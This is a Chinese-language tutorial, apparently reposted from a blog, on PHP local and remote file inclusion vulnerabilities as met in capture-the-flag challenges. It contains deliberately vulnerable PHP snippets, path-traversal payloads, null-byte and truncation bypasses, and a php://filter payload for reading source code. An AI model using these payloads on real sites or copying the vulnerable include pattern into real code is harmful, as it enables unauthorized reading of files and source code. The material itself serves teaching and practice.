概述
后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,因此该过程也就被称为文件包含。文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端可以远程调用文件,造成文件包含漏洞。这个漏洞在php中十分常见,其他语言也有。
常见文件包含函数和原理
# php
include() // 执行到include时才包含文件,找不到文件产生警告,脚本继续执行
require() // 程序运行就包含文件,找不到文件产生错误,脚本停止
include_once()
require_once()
// 和前面注解一样,_once()后缀表明只会包含一次,已包含则不会再包含
文件包含漏洞的原理在于用文件包含函数引入的文件,不管其扩展名如何,都会被当作php代码解析,如何无法解析,就会展示其文件内容。
本地文件包含
本地文件包含,Local File Inclusion,LFI。以下面的php代码为例子,将会展示本地文件包含漏洞的利用。
<?php
$file = $_GET['file'];
include $file;
?>
我们将file的参数设置为../../../../../../../../../flag
,其中../
代表回退到上一级目录,这里回退多了没关系,到根目录后就不会再走了。所以在网页中输入这样的payload会将根目录下flag文件的内容回显出来。
但一般php代码不会这么好心,会存在一些限制,大家可以在做题过程中逐渐积累经验,以下面的php代码为例,介绍一些基本的绕过技巧。
<?php
$file = $_GET['file'];
include $file.'.php';
?>
上面的代码会将传进来的file名加上php后缀,所以直接输入flag是无法获取到文件内容,因为本地并不存在flag.php。这里可以用下面的方式进行绕过:
# %00绕过
# 需要 magic_quotes_gpc=off,PHP小于5.3.4有效
?file=../../../../../../../../../flag%00
# 路径长度截断
# Linux 需要文件名长于 4096,Windows 需要长于 256
?file=../../../../../../../../../flag/././././././.[…]/./././././.
# 点号截断
# 只适用 Windows,点号需要长于 256
?file=../../../../../../../../../boot.ini/………[…]…………
远程文件包含
远程文件包含,Remote File Inclusion,RFI。远程文件包含和本地文件包含的区别在于file参数可以设置为url链接,加载远程文件,此时需要allow_url_include=On
(allow_url_fopen=On
默认开启)。以下面的代码为示例:
<?php
$file = $_GET['file'];
include $file.'.php';
?>
对于开启远程文件包含的服务,我们可以使用下面的绕过机制。将file参数设置为http://127.0.0.1/flag?
,问号会截断后面的字符,此时就会回显出网站根目录下的flag文件内容。
利用php流filter返回base64加密后的php源代码,如下代码和截图所示,我们可以利用php的filter机制来得到我们想要的php源代码。这里假设源代码文件为index.php
,且在网站根目录下,构造payload会获取到对应代码的base64编码,然后再解密即可。
?file=php://filter/convert.base64-encode/resource=index
// base64
PD9waHAKICAgICRmaWxlID0gJF9HRVRbJ2ZpbGUnXTsKICAgIGluY2x1ZGUgJGZpbGUuJy5waHAnOwo/Pgo=
// 源代码
<?php
$file = $_GET['file'];
include $file.'.php';
?>
总结
不忘初心,砥砺前行!
转载:https://blog.csdn.net/A951860555/article/details/116611177